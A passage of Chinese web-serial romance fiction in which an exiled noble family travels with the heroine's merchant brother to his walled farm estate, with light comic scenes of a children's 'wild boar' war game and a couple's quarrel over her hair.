不多时,有“哒哒哒”的马蹄声从宣文晟来时的方向响起,杂乱却不混乱。 比不得军队马匹的训练有素、整齐划一,但也比寻常人家的马群来得有序,听着就十分灵性。 若仔细辨别,还能听见车轮滚在地上的“轱辘轱辘”声,被淹没在杂乱的马蹄声中。 “宣家三哥这是带了多少匹马过来?”苏琯武好奇地问,“竟还有好几辆马车。” 宣文晟还没回答,方沅沅已经惊讶得眼睛微微睁大,“离得这么远,也能听出来?” 她倒是什么也没听见,去看一旁的宣文晟,他只含笑不语。 苏琯武很是客气地对方沅沅点了下头,回道:“习武之人一般都能听出来。” 陈阳在后头听见了,嘴巴张了张。 谁说习武之人一般都能听出来的?不是随便一个习武之人都像你们苏家人一般天赋卓绝的。 至少随行的这八十多人,几乎没有一个是听得出来的。 说来惭愧,他也只听得地面隐隐有颤动声,却是什么也没法辨别出来。 方沅沅对苏琯武笑了笑,又看向妹婿苏琯璋,“我听说妹夫之前也是上过战场的少将军,不知妹夫能否听出来有几匹马、几辆马车?” 她嫁给宣文晟也才三年,成婚时间只比妹妹宣槿妤早了三个月。还在闺中时她从未去过盛京城,自然也少有听闻苏国公府的事。 只在成婚之后,和苏家成为姻亲,才有机会来往一二。 而她多数时间又和宣文晟在外跑商,和这个妹夫也见不了几面,不大了解他的过去。 只听得夫君说过,妹夫以前是少将军,不过与妹妹成婚后便留在了京城,进了大理寺做了少卿。 同样地,苏琯璋对这个和妻子宣槿妤十分亲近的娘家三嫂嫂方沅沅也十分陌生。 见她好奇,便客气地淡淡笑了笑,“马车有五辆,加上套车的马,一共是十匹马。” 几句话的功夫,马蹄声已经比方才近了不少,此时苏家几位上过战场的将军都听了出来。 苏玉启闻言,看了自己的父亲苏琯煜一眼,见他颔首,便绷着一张小脸,继续凝神细听着。 父亲、四叔和小叔叔是怎么听出来的?他什么也没听到。 苏琯煜摸了摸儿子的头。 毕竟还是小孩子,启哥儿被父亲摸了头,眉眼间的欢悦便怎么也止不住了。 方沅沅素来听小姑子宣槿妤抱怨她夫君苏琯璋就是个冷面玉人,是块木头,乍然见他笑了,还愣了下。 又听得他说得分毫不差,心里更是惊讶,“妹夫说得真准。” 官道转角处的竹林有一匹马拐出来,很快就是第二匹、第三匹;而后便见空旷的官道上灰尘大片大片被扬起,落在官道两旁的农田上。 待灰尘稍稍散开,果真见带头五匹马疾驰在官道上,后头五匹马车紧紧跟随。 马上的几人英姿勃发,瞧着不似寻常商队的护卫,更像是世家大族里养出来的侍卫。 陈阳和王虎神色一凛。 他们只听说过宣家大房的三公子不喜读书,当年十八岁中了举子之后就南下经商,这么些年除非逢年过节,否则盛京城中绝不见他的身影。 他们初初听闻宣家三公子会一路跟着护送他嫡亲的妹妹宣小少夫人,去往流放之地广虚府之时,还以为他会只身跟随,顶多带几名护卫仆役。 如今看来,他更像是带了一群侍卫。 队伍组成太繁杂,并不利于他们带队。 不过眼下这当口,二人不好说什么,只默默观察着。 “这四方镇太小了,容不下我们这么些人。”宣文晟说,“我在三里外灵峰山脚下有个庄子,今夜我们就住那里罢?” 他去看明显是带队的陈阳和王虎,视线在二人身上不着痕迹地游移着。 兵部官兵和皇城禁军,竟是素来不合的两支军队出人“护送”被流放的人,而不是刑部差役。 盛誉还真是煞费苦心了。 当了皇帝才三年,政务上不见有什么建树,倒是这帝王心术,是越发纯熟了。 他心里冷哼。 陈阳和王虎对视一眼。 经过昨日爆发的矛盾,和好后他们之间明显是养出了一点默契。 陈阳答应了。 不过丑话得说在前头,眼下正是好时机。 “宣三公子,”他语气十分郑重,“您的行为我们无权干涉,但接下来的行程还是由我们来安排。这点还望公子莫让我们难做。” 他说的是宣文晟跟队的事,这一点尚书大人早已吩咐过他,随人跟着,但不许干涉兵部安排。 如今多了队禁军牵制,他身为兵部之人,更是不能让人抓到什么把柄。 宣文晟的贴身侍卫这时带着先行的五匹马上的人过来了,闻言脸色有些不好。 宣文晟神情却没有任何变化,“当然,我不会让你们为难。” 他将头仍旧埋在他双腿处的儿子抱了起来,“不过,我去哪里也是我的自由,相信你们也不会让我感到不舒服。” 不待陈阳再说话,他往安安静静的儿子脸上一看,顿时笑了,“妹妹你看你侄儿,他站着就睡着了。” 宣槿妤心疼地抬手摸了摸秩哥儿的小脸,“三哥哥你是不是没照顾好秩哥儿?怎么站着就睡着了,可是太累了?” 宣文晟冤枉,“这孩子才病愈,是该多休息,哪里是三哥哥没照顾好他?” “怎么会病了?什么时候的事?可是这几日才病愈的?”宣槿妤有些急,连连发问。 问罢她又忍不住抱怨宣文晟,“那三哥哥你还带着他在外面跑。” 方沅沅暗中拧了宣文晟一把,怎么就说漏嘴了?不是徒惹妹妹担心么? 宣文晟心虚地将儿子的小脸贴在自己颈侧,这不是他见妹妹责怪他,情急之下忘记了么? 真是不靠谱! 方沅沅松开了手,拉着宣槿妤的手安慰,“妹妹别急。秩哥儿只是路上贪吃,吃了些不该吃的东西,闹了一阵子的肚子,这几日也好全了。” 话都说到这里,宣文晟便也索性坦诚了。 “接到家中传信时,我们已经在回京路上。只孩子病了,不敢带他赶路,我便托了商队给母亲带信。” “余安府离京城只一日的路程 ,我也想着你们也会经过余安府,便和母亲约了在那里会合。”宣文晟说,有些歉疚,“委屈你了。” 他说的是不赶回京城见她的事。 他还带着妻儿,且孩子才病过一场,刚刚痊愈,他纵使再心急也不敢冒险,所以走得并不快。 “三哥哥说哪里话?再说下去我们兄妹便要生分了。侄子病了,本就该以他为重。何况还是因为我,才连累三哥哥陪我走这一趟。” 宣槿妤说着抱歉地去看方沅沅,“倒是委屈三嫂嫂和秩哥儿,接下来很长一段时日三哥哥都不能陪在你们身边了。” “妹妹这才是说哪里的话?怪客气的,兄妹之间不讲究这个客套。”宣文晟不满地看了宣槿妤一眼。 方沅沅也开口,“是啊!兄妹之间可不许这般客气。” “我和秩哥儿在京城家中有人照顾的。家中孩子们也多,还能给他添几个玩伴。倒是妹妹你,”她怜惜地看着小姑子,“这一路才是苦了你了。” 大盛建朝百余年,还从未出过流放有孕妇人的先例。龙椅上那位倒好,才稳坐皇位,便什么事都做得出来。 也不怕后世之人戳他脊梁骨。 堂堂一国之君,没有一点仁义心肠,刚登基还需要林太傅帮衬的时候倒是一口一个“师妹”叫得亲热。 如今做出来的都是什么事! 宣槿妤摇了摇头,没有说话。 她宁愿怀着身子跟着苏家人流放,也不愿意堕胎入宫为妃,这是她的选择,她不后悔。 夫子说过,落子无悔,自己做下的决定,再是苦再是痛也要咽下去。 何况,这一路,她可没受什么苦。倒是苏琯璋,自打她学会了怎么咬人掐人却不见血之后,可没少受她“折磨”。 就连她唯一动手打人巴掌的两次,也都是让他受了,谁叫他活该。 她瞥了男人一眼,唇边扬起浅浅的笑。 她这一瞥一笑,宣文晟方沅沅夫妻俩便都误会了,以为她是觉得和苏琯璋在一起就不苦;或者妹婿将她照顾得很好,她没受太多苦,于是便没再多说什么。 宣文晟带着妻儿,和苏家人一同登上了马车。 孩子们雀跃地笑着,由着大人们将他们提上马车,五日来终于不用再靠双腿赶路,他们可开心得很。 陈阳不用再让人去前头探路,便带着他的手下走到了马车后头。 五日来,兵部这群官兵们和皇城的禁军们终于不必一头一尾分隔两处,而是走在了一起。 宣槿妤放下车帘,“他们路上当不会再闹起矛盾吧?”她趴在苏琯璋身上,附耳对他说,眼里带着藏不住的促狭。 苏琯璋知她还想着昨日的事,又想起二人谈话最后,她负气出走找祖母说话的结局。于是他有些谨慎地回:“你想看他们闹起来?” 宣槿妤没好气地瞪他一眼。 在他眼里,她就是那等爱看人好戏的坏姑娘吗? 他又说错话了?可她方才说话的时候眼里不是还带着笑吗? “是我说错了,是我想看他们闹起来。”苏琯璋很快改口,声音压得极低。 “就是你说错了。” 宣槿妤“哼”了一声,又笑了起来,点点他,“好你个苏家小公子,平日里看你像个清冷贵公子,却不想心里竟藏着这样的坏心思。” 第38章 第38章马车笑谈 一旁的宣文晟看着这对夫妻旁若无人咬耳朵的样子,先是一脸的欲言又止。 他们一家三口还在一旁坐着呢!你们小夫妻俩亲热起来倒也不避着点。 而后宣文晟见到妹妹是如何强行倒打一耙的,他脸上的表情便十分精彩起来。 原来妹妹妹婿平日里就是这样相处的? 他看着此时妹婿那张素来没什么表情的脸上浮起无奈却纵容的神色,终于忍不住“噗哈哈”笑出声来。 “妹妹,你平日里就是这么欺负你夫君的?” 宣文晟很少见到小夫妻俩是怎么相处的,多是听妹妹抱怨夫婿的不解风情。 说他沉默寡言、性子沉闷,好听的说法就是像座玉雕,难听一点的,就是块木头桩子。 总之苏琯璋在宣槿妤嘴里说出来,就没一句好话。 有时候方沅沅在一旁听了就觉得,妹妹何须受这样的委屈?干脆和离归家算了,家里也不是不能养她一辈子。 或者再嫁找个能知情识趣的,以妹妹的容貌品行和家世,也不是找不到。 可是宣槿妤和人吵吵闹闹的,倒也过了三年。 到后来方沅沅就迷惑了,妹妹这是在顾忌什么? 宣文晟这时候就只笑笑,没揭穿妹妹的小心思。 他了解自己的妹妹,她若是对人家无意,管他苏家家风再如何好,夫婿容貌再隽秀,再如何年少有为,也入不得她的眼。 而判断是否入她眼的简单法子,便是看那人是否被她挂在嘴上,不管是夸还是损。 不入她眼的人,她连个眼风都懒得给一个。 但他纵是猜测到妹妹和妹婿之间并非妻子所想的那样不合,可能还有几分真感情,可也没想到这二人能当着他们夫妻的面,在马车上就这样亲近起来。 宣文晟这一笑,方沅沅也忍不住笑了。 但她到底是女儿家,心思比男人细腻一些,怕宣槿妤脸上挂不住,她是转过头,用帕子挡着嘴唇笑的。 笑声将宣槿妤和苏琯璋的注意力从彼此身上拉了出来。 宣槿妤没敢去看兄嫂的反应,只动作迅速地从苏琯璋身上挪了下来,端坐一旁,想要假装什么事也没发生。 被流放之后他们常行走在荒山野林之中,出来五日,废庙就住了三日,其中食、住、行几样种种不便可想而知。 荒山有野兽,野林有虫蛇,就连废庙,即便提前用草药熏过,也偶有爬虫出没。 为免惊着宣槿妤,苏琯璋这几日几乎不离她身侧,不是将人抱在身上、背在身后就是揽着她的腰,好在有什么事情发生时第一时间将她护在身后。 是以宣槿妤已经十分习惯在人前和苏琯璋这样亲密,因为旁人也不会多看他们在干什么。 只她忘了,此时他们是身在马车上,旁边坐着的,是她的兄嫂和仍在熟睡中的侄儿。 这是和她血缘关系亲近的亲人,可不会像旁人那般避嫌地不看不听。 这下可好,她可是被兄嫂齐齐笑话了。 宣槿妤白玉似的脸上一点一点地红了起来,像是那天边的晚霞挂在了她腮上,艳丽逼人。 苏琯璋侧身将她身子拉回怀里,挡住了宣文晟和方沅沅揶揄的目光。 “你身子特殊,坐我怀里稳当些。” 他似是在对宣槿妤说着话,但马车上两名成年人都知道,这是解释给他们听的。免得他们再取笑妹妹妹夫的亲近,而让宣槿妤越发害羞。 正说着,马车颠簸了一下。 前头的车夫也开口提醒,“主子们可要坐稳了,昨日暴雨,今日这路上有些不好走。” 他们走的虽是官道,但这穷乡僻壤的地方,除了偶有官差通行,少有人到这里来,官府能够维护官道的正常通行已是十分不易。 至于暴雨过后路上坑坑洼洼,是最正常不过之事了。 马车像是行走在大大小小的泥坑中,便是这辆马车用料上乘经得住颠簸,不至于东倒西歪,此时也禁不住连续晃动着。 宣文晟收了脸上的笑,正色道:“妹夫你可要护好槿妤。”他从妻子手中将儿子接了过来,护着他的头。 苏琯璋微微颔首,将宣槿妤圈在自己怀中,不叫她被颠簸到。 一阵让人不适的摇晃过后,马车终于恢复了平稳。 “没事吧?”苏琯璋问宣槿妤。 宣槿妤摇摇头,她坐在男人腿上,被护得好好的,车身再怎么摇晃,她身子也还是稳稳当当的,没有任何不适。 倒是三嫂嫂,她看着脸色有些不好的方沅沅,“三嫂嫂方才可是磕着哪里了?” 她刚 才好像看到三嫂嫂不小心撞到马车车窗上了。 宣文晟也去看妻子。 方沅沅坐稳了身子,“无事,只方才不小心被车窗磕了一下,已经不疼了。” 车窗上包了软包,她方才就是磕在了软包上,并没什么事。 这辆马车明显是经过改造的,十分适合远行,不仅桌椅柜子茶具食盒等一应俱全,就连恭桶也备了一个。 若是将他们背靠着的隔板移开,后头柔软的垫子上还可以睡下两个人。 这辆马车很显然就是为有孕的宣槿妤准备的。 “若是疼就说出来。”宣文晟对妻子说道。 方沅沅瞥了一眼苏琯璋,有些脸热,“我不疼。”她微微有些恼了。 妹夫还在这里呢!他就说什么疼不疼的?她磕在后背,若是真疼,还能让她当着妹夫的面说不成? 宣文晟一脸莫名地看着方沅沅,不疼就不疼,她恼什么了? 宣槿妤缩在苏琯璋怀里,吃吃笑着,打趣兄嫂二人,“三哥哥好生不知趣。”方才这夫妻二人还笑话她,可被她找着机会笑话回来了。 不知趣什么? 宣文晟去看妹妹,宣槿妤却顾忌着三嫂嫂的清誉,不好当着苏琯璋的面说清楚,只一脸坏笑,不再说话了。 宣文晟简直是满头雾水,不就是被马车磕碰到了吗?疼就疼,不疼就不疼。怎么一个恼他,一个嫌弃他不知趣? 他又去看妹夫苏琯璋。 苏琯璋显然就没在意发生了什么事,满眼都是宣槿妤,眼风都没给他一个。 宣文晟暗叹自己糊涂,就苏琯璋那样的木讷性子,他能知道什么? 于是他告饶道:“好妹妹,三哥哥方才错了,不该笑话你。” 小祖宗,可要给他个明白话,不然他今晚抓心挠肝的可要睡不着觉了。 宣槿妤才不吃他这一套。 三哥哥惯会油嘴滑舌讨人欢心的,要不然也不会在商道上如鱼得水,还能讨得岳家青睐将三嫂嫂嫁给他这个“不务正业”、弃文从商的世家“纨绔”子弟。 “三哥哥说笑,明明是三嫂嫂恼了你了,怎的来和我致歉?” 宣文晟摸了摸鼻子,得,三个多月不见,妹妹越发伶牙俐齿了。 眼见着丈夫看向自己真要问个清楚明白,生怕丢人的方沅沅忙转移了话题,“妹妹是不知道,我们原在余安府等你们,想着只一日你们就能到的。” “只没想到都过了两日还没有你们的消息,幸好接到母亲的第二封信,才知道你们走了城南那条路。” 宣文晟这些年走南闯北,对大盛各地的舆图都记在脑中,闻言也不由接话,“那条路倒是难行,难为你们走了这几日。” 他暗暗将方才的事记在心中,想着夜里非得好好“盘问”妻子一番不可。 “我还好,就是孩子们遭罪。”宣槿妤说。 宣文晟想起比自己儿子才大上几个月的苏玉慕,禁不住感慨,“苏家家风好,出的孩子都很不错。” 怨不得当初苏琯璋才从漠北战线回到京中,外祖父就急着上门将未来外孙女婿定下来。 苏家世代有不纳妾的规矩,孩子们都是嫡出,隔房之间也极为和睦;且代代男儿不堕武将风骨,代代女儿不输世间男儿,多的是人家想将女儿嫁给苏家男儿,想替自家娶进苏家女儿。 奈何苏家一向只和武将通婚,多少文臣之家关起门来长吁短叹。 说起来,当初苏家和宣家联姻的消息传出去,可惊掉多少人的下巴,暗恨自家怎么就没抢先下手。 多少人更是腹诽林太傅使手段,迫使苏国公同意幼子娶了那抗旨拒婚得罪了当今太子盛誉,导致无人敢上门求娶的宣家姑娘。 不过,这话当时无人敢当面提及,等到太子登上帝位,像是什么事也没发生过一样将宣家姑娘视作师妹,便连私底下也无人再敢提起这事了。 马车里四人正说着话,不远处有两人的对话飘进马车中。 “诶,老刘头,你今日才回来?”中气十足的男人嗓音,像是在朝人喊。 稍微沧桑一点的男声大声回:“可不,昨天就该回家的,可是雨太大,被困在了山上,好不容易才捡回一条命。” “你命大,你家里人也是。” 沧桑的那个声音有点急,他好似听出了男人的言外之意,“柱子,我家里怎么了?是不是出事了?” “就是昨天大雨,你家里进了水,好在人被雷惊醒了,都没事。” …… 声音渐渐远去。 第39章 第39章我军和野猪,这两个词是…… 宣槿妤掀开车帘,只见一个腰背微微佝偻的老人和一名体壮的中年男人,在朝东南方向快速走去。 车帘被阖上,她听苏琯璋在问,“文晟哥可知道附近出了什么事了?我听到那人说整个村子被淹了。” 整个村子都被淹了? 是不是死了很多人? 想着,宣槿妤身子不由地轻轻一颤。苏琯璋的双手及时用力地揽上来,将她圈在他温暖的胸膛和结实的双臂间。 宣文晟点头,“东南方向的那处村落被水淹了,好在惊雷将人都弄醒了,没出人命。只可惜房子都住不了了。” 这年头不富裕的人家住的都是茅草屋,素日里遇到下雨天就得爬上屋顶换一层茅草。 只昨日凌晨的雨来得又急又猛,轻易地就将屋顶的茅草冲开了。整个屋子便全都朝着雨水敞开,家具、被子什么的全都泡开了。 “那村子,是不是你那日提议要借宿的那处?”见苏琯璋神情有些不对,宣槿妤下意识问。 苏琯璋道了一声“是”,圈在她身前的双臂再次微微收紧,“幸好那日你没同意,不然……” 他没再说下去,只微微有些急促的心跳声让宣槿妤知道,他的后怕和庆幸。 宣槿妤总算明白前日苏琯璋和她说借住村落时为何她会下意识有所抵触了。 原是这样。 她欲言又止。 宣文晟了解她的心思,温声安抚,“我来找你们的时候,已经看到官府在派人救助。不会真让他们活不下去的。” “我也派了人去帮忙,无事的。” 那就好。 宣槿妤放下了心。 她不知道官场的猫腻,但三哥哥既然说了无事,便当真是无事了。 苏琯璋却是一阵后怕,握在宣槿妤手腕处的手慢慢摩挲着她温软滑腻的肌肤,没敢继续想下去。 若非那日槿妤不愿意进村,那半夜被雨水泡醒可就是他们了…… 落日余晖散尽之前,他们见到了宣文晟所说的他在灵峰山脚下的庄子。 说是庄子,这里比方才他们遇到的四方镇还大。 几百上千亩农田绵延成片,坐落在这灵秀广袤的山峰脚下。 因着才下过一日一夜大暴雨的关系,此时田里的土还湿着,却已然十分齐整,显然勤奋的农户们白日里早已犁过田。 比较突兀的是,靠近山那处的农田边上都叫石墙、木栅栏或土坡围了起来,只留了一道坚硬的石门,正对着上山的小道。 一处显眼的庄子就坐落在官道一侧,占据了灵峰山对面划分为屋舍土地的大部分面积。 几十上百间的木屋、瓦房或茅屋稀稀落落散布在庄子四周,似是众星拱月,形成一个规模颇大的村落。 五辆马车上的车帘都被掀了起来。 从马车上望出去,只能察觉到庄子很大,一路望过去,还未看到庄子的尽头。 让人稀奇的是,庄子里竟还种着地。 “在庄子里种地?” 他们还真是少见这种做法,一般都是庄子里住人,庄子外种地,少有这样将田地和庄子里的房子一起圈起来的。 宣文晟所在的马车车厢中,宣槿妤也忍不住问了这个问题。 不仅是田地,他们在马车上往外看时还能见到庄子里密密匝匝的果树,那果树丰茂的枝叶都落到了高高的围墙外头。 “没办法,这里山林密,野兽也多,若不将田地圈起来,好不容易种出来的粮食能叫野猪都糟蹋了。” 宣文晟对宣槿妤解释道:“糟蹋了粮食还是次要的,那一年有个庄头正在地里锄草,一头野猪跑出来 ,险些将他生吃了。” 竟这样凶险。 “所以后来庄头农户来找了管家商议,要不进山杀野兽。” “管家来信时我就在附近,便走了一趟,发现山林太大,捕杀野兽并不现实。” “不说这群农户没有猎户的好身手,猎杀了野兽附近的猎户也少了许多活路。” “刚好我看山林中石头、树木都不缺,便依着地形让人垒了石墙、搭了木栅栏。” “你们看那土坡,刚好那个位置有竹林遮挡,又是直上直下的陡峭之地,野兽也不敢轻易到那头去,正好当作屏障。” 宣槿妤听得津津有味。 她早先已经听三哥哥说过这事,只还是第一次亲眼见到,一时觉得十分新鲜又趣致。 而其他辆马车里,苏家也有人解读出了这处农庄这样建设的用意。大人们还好,孩子们已经忍不住开始惊叹起来。 他们甚少接触农事,这样的巧思倒是激起他们的几分兴致。 甚至启哥儿已经开始缠着祖父苏声和父亲苏琯煜,让他们二人给自己演练起军事来。 就拿那野兽当敌军,农户是我军,演练若是野猪或其他野兽突破围墙跑到农田上撒野,该如何将其猎杀或赶走。 当然,苏声是“我军”,而苏琯煜,看着一双儿女兴致盎然的眼神,只得捏着鼻子当了那“野猪将军”。 马车上还有两人,分别是许玉娘和许萱娘婆媳俩,看着苏琯煜咬着牙说出“我是野猪将军”的时候,笑得东摇西晃的,眼泪都掉出来了。 “耶,我军胜了。” “野猪被打跑啦!” 启哥儿和彤姐儿的声音几乎是重合着从前头的马车里传出来,顺着风飘到后头宣槿妤他们这辆马车中。 宣槿妤手中的车帘还未放下来,她好奇地往车窗外看了一眼又一眼,还是没能明白两个孩子的话中意。 “我军和野猪,”宣槿妤神情十分困惑,她回头问苏琯璋,“启哥儿和彤姐儿这是何意?”这两个词竟能放在一起被提及? 胜了,她能理解,只不过,军人和野猪也是能放在一起对敌作战的吗?人猪大战? 她也不指望同样不知情的苏琯璋回答,只想着人猪大战的场面,然后人仰猪翻,于是她“噗嗤”笑出声来。 “待会儿我可要好好问问彤姐儿。”等笑够了,她对苏琯璋说道。 一行人进了庄子,马车在前院影壁前的晒谷场停下。 “这里设置晒谷场,倒也有意思。”王虎对陈阳嘀嘀咕咕。 他早年便听闻这位性情不拘一格的宣家三公子于经商一途上天赋十足,短短几年便挣出了一份不菲的家业。 他当年没能亲眼见到,还嗤之以鼻,以为这是宣家在替自家公子挽尊才放出的消息。 如今看来,这位公子在这样穷乡僻壤之地也能拥有这么大的庄子,倒也是能耐。 最重要的是,这一路上走过的官道都坑坑洼洼的,附近的人家住的都是茅草屋,肉眼可见的贫瘠。 而当一行人进入庄子地界时,一切便迥然不同。 官道十分平整,竟还大手笔地铺了青石路,想也知道不会是官府的手笔。 而庄子周围的人家多是瓦房和木屋,茅草屋寥寥无几,且据他观察,茅草屋好似只是用来堆放杂物,并不住人。 “宣三公子胸有丘壑。”陈阳说,忍不住仰头去看对面那高高耸立的山峰,观那里云雾缭绕,树影婆娑。 真是一处好去处。 炎炎夏日若是能到这里来避暑,想必十分惬意。 陈阳未说出口,但已有人替他出声。 “宣三哥。” 经过所谓的“三哥”之争,宣文晟主动退让,让苏琯文对宣文晟十分有好感。遂他将称谓简化,从“宣家三哥”变成“宣三哥”,便显得亲近许多。 “这灵峰山到京城还没有一日车程的时间,若夏日来这里避暑,既近且清爽。你倒是挑了个好地方。”苏琯文夸道。 灵峰山在盛京城城南往南的方向,虽然因着山林密集而少有人烟,但正因如此也无比清静。 同样离盛京城一日车程的余安府,因着人烟繁华,夏日里也是人声鼎沸,竟是比京城里还要吵闹。本是酷暑难耐,再一吵,京中人家都不乐意去那里。 而这边,宣槿妤已经忍不住问彤姐儿,“彤姐儿,方才在马车上,你和哥哥说的‘我军’和‘野猪’,是什么意思呀?” 彤姐儿先是捂着嘴笑了一会儿,让宣槿妤瞧得越发好奇。 便听得彤姐儿脆生生道:“刚刚祖父和父亲在进行军演。” 哦? 彤姐儿这句话将所有人的视线都吸引了过来,包括正就着夏日到灵峰山脚下避暑为话题聊得正热闹的宣文晟和苏琯文。 倒是苏琯煜,常年挂着笑的脸上倒是难得的窘迫,嘴角竟是一丝笑意也没有了。 不过也少有人留意到苏琯煜,都一心看彤姐儿去了。 “军演主题是:野猪若是从那面山下突袭,这山脚下的农户该如何应对。” 彤姐儿说话十分流利且有条理,“既然是军演,当然要是两支军队对阵。于是,祖父就当农户将军,就是‘我军’,爹爹就当‘野猪将军’,两个人就演练起来了。” “噗哈哈哈。”彤姐儿话音未落,已经有人忍不住笑起来。 “野猪将军”,这称号倒是挺稀奇且搞笑,再将它套在玉面将军苏琯煜身上,不行了,肚子都要笑痛了。 第40章 第40章这都是苏琯璋那臭男人干…… 彤姐儿还没说出演练的最终结果,就被此起彼伏的笑声打断。 她也说不下去了,睁着一双水灵灵的大眼睛,疑惑地盯着大人们。 他们都在笑些什么? 还有爹爹,他怎么都不笑?不仅不笑,还一脸的严肃,就跟小叔叔平日里差不多。 她去看娘亲许萱娘、祖母许玉娘和曾祖母苏老夫人,见她们也笑得正欢,便又去看小婶婶宣槿妤。 宣槿妤强忍着笑,摸了摸彤姐儿的头,“彤姐儿说得真好。” 彤姐儿被小婶婶夸了,也就高兴了,便也不再去纠结大人们究竟在笑些什么,毕竟大人们经常奇奇怪怪的。 四妹妹燕姐儿也是这么说的。 等笑够了,众人进了垂花门。 至于陈阳王虎和他们手下的一众官兵和禁军,便都留在了外院,自有人来招待他们。 夜里他们也会宿在外院,这里的屋子充足且宽敞,也足够他们住的了。 用过晚膳,苏家人便都各自去了庄子管事安排好的院子。 今夜他们也终于可以自由安生地过一夜,再不必顶着一众名为护卫实则监视的眼线生活,各自心里都轻松自在不少。 而苏琯璋与宣槿妤所在的院子里,却是难得的气氛紧绷。 自二人在十里亭说开之后,这一路上宣槿妤再没和苏琯璋吵过,顶多动手掐他动口咬他。 今夜她却像是回到了苏国公府他们的院子荆竹园,连闹脾气的法子也是一模一样。 “我不要你来。”宣槿妤心疼地看着自己的一头乌发,原本顺滑如缎子的青丝方才被一通草率对待,此时断了不少,落在地上,聚起小小一摊。 苏琯璋看着那断发,也知道自己好心办了坏事,忙不迭道歉,“槿妤,对不住,我不是故意的。” “你就是故意的,你个莽夫。” 宣槿妤 说着眼圈就红了,“这是头发,又不是巾子,你拧它作甚?你这是擦头发吗?你分明是在祸害我的头发。” 她方才沐浴时顺带将一头秀发也洗了,原本将路上沾到的尘土泥灰彻底洗干净,她是十分高兴的。 只她坐在镜子前昏昏欲睡的时候,这男人主动请缨说要给她擦头发,有人伺候,她便高高兴兴应了。 结果她再睁眼的时候,地上便掉了一把青丝。 一把! 她一个月自然掉落的头发加起来都没他拧下来的多。 他到底使了多大的劲儿?摸摸头发,竟然已经半干了。 “呜呜呜,果然你这几日的体贴都是假的,就为了这时候来报复我。” 宣槿妤越看地上的断发越难过,越说越也伤心,眼泪一颗颗地掉了出来,砸在地上的还未干透的发丝上,重新为它裹上一层水珠。 在苏琯璋眼中,她的眼泪与地上的断发都是对他的控诉。 他难得手足无措,掏出帕子要为宣槿妤擦眼泪,却被她躲开。 “槿妤,我……” 他想说,他平日里给自己擦头发就是这么擦的。 行军打仗或者外出公差时,头发能洗一次就十分不错,洗干净了用巾子包住用力一拧,便有许多水被拧出来。 再拧干帕子包住重复个一两次,头发便没有水珠子了,晾干便十分快速。 他从不在意这样简单粗暴拧干头发会对发丝有什么伤害,他这么多年都过来了,如今头发依旧黑亮。 虽然他平日里不大在意旁人的头发如何,但据他回忆,他自己的头发绝对比大多数年轻公子的发质还好。 但他好像忘了,宣槿妤是个姑娘家,好像平日里最是宝贝她那头乌黑秀丽、色若绸缎的青丝。 可是他竟将她的头发拧断了这么多! “槿妤,我错了,不该拧你的头发。”苏琯璋凑近她,小心地道着歉。 “你就只会这一句,来来去去都是这一句,你不腻我都腻了。”宣槿妤抽噎着说道。 臭男人,弄断了她的头发,还要来碍她的眼。 宣槿妤“腾”地站了起来,险些将苏琯璋吓一跳,他忙不迭伸手想要护住她。 可宣槿妤连眼神也不肯给他一个,披上外裳拢好半干的头发就要往外走。 “槿妤,”眼见宣槿妤要出院子,苏琯璋忙上前拦住她,“快到入睡的时辰了,外面天黑,你有气就在这里对我撒好不好?” 宣槿妤绕过他,抬脚就想往外走。 苏琯璋忙跟上,又拦在她面前,“我任你打骂,别哭了好不好?” “苏琯璋,我在你心里就是那等泼妇,只会打你骂你不成?” 宣槿妤声音里已经带上了鼻音,她用随身的帕子捂了捂眼睛,“让开,我不要和你待在一块儿。” “那我走,槿妤你进屋歇息。” “什么走不走的?”院外传来宣文晟的声音,很快他人就出现在二人面前,身后还跟着方沅沅。 他们一眼便见到正站在院门口对峙的夫妻二人。 “这是怎么了?”宣文晟快步上前,走到宣槿妤身边,“妹妹怎么哭了?妹夫又惹到你了?” 苏琯璋:“……”三舅兄用的这个“又”字,就很灵性。 不过宣文晟夫妻来了,他好歹松了口气。 “文晟哥,嫂子。”他收起脸上的急色,和夫妻俩打过招呼,又去看宣槿妤,“槿妤,兄嫂来了,你和他们回屋好不好?” 很好,就是苏琯璋又惹到他妹妹了。 宣文晟抬头对着苏琯璋就是一记眼风,“妹夫,我妹妹还有孕在身呢!你可别总是惹她。” 苏琯璋苦笑,什么话也没说。 宣槿妤原本眼泪已经不流了,一见到兄嫂,面上的泪花儿又开始流淌。 “三哥哥,三嫂嫂。”她哽咽着扑进宣文晟怀里。 宣文晟接住人,“哎哟”一声,“我的小祖宗,你肚子里还有一个呢!别哭好不好?你哭得哥哥心都碎了。” “你来看看我和你嫂嫂给你挑了什么小玩意儿?” 方沅沅也急得不行,忙上前几步,从宣文晟怀里取出一个巴掌大的小盒子,小心地打开。 “妹妹你看,这是我和你三哥哥在江州府做生意时看到的,想着你会喜欢,就央着那手工匠人做了一套。” 宣文晟接过话,“可不是,妹妹,你哥哥我为了你可是花了好大的心思。那匠人本是不愿意卖的,这可是他谋生的手段。” “但你哥哥我有三寸不烂之舌,还有堪比万年王八的耐心,这不,磨了那匠人半月,再加了大价钱,那匠人终于同意给我做了这一套东西来。” “来来来,你要不要看看里边是什么东西?” 宣槿妤本是埋在兄长肩上呜呜哭着,可兄长实在聒噪,惹得她不由分心听了几句。 好嘛! 三寸不烂之舌就算了,万年王八又是什么? 宣槿妤终于被宣文晟逗笑,从他怀里出来,嗔道:“哥哥又胡说八道,小心我跟娘亲告状。” 林清婉最是头疼她这次子。 明明长得是一副翩翩公子模样,从嘴里说出来的话却总是让人哭笑不得,有时候简直恨不得将他那油嘴缝了,好让家里人的耳朵安生一点。 宣文晟忙不迭作揖告饶,“妹妹饶命,哥哥我可都是为了逗你开心才自贬,你可千万不要和娘亲告状啊!” “妹妹啊妹妹,哥哥我求求你了,你大人有大量,槿妤肚里能撑船哦不,如今肚里是我小外甥不能撑船。” “妹妹……” 一旁的苏琯璋难以置信地看着三舅兄,真没想到他竟是这样话多的一个人。 “三哥哥,你好像一只青蛙。”宣槿妤终于忍不住,破涕为笑。 怪聒噪的,他一个就顶夏日池塘里满池子的青蛙,吵得人耳朵疼。 “坏丫头,你三哥哥我都是为了谁?竟这般埋汰我。”宣文晟说。 不过他自己也是撑不住笑起来,“好了,笑了就好。” 宣文晟接过苏琯璋手中举了小半天的帕子,亲自替宣槿妤擦着泪,“都当娘亲的人了,还这么娇气。” 宣槿妤不乐意了,夺过宣文晟手中的帕子,自己擦了起来,“哥哥说我。” 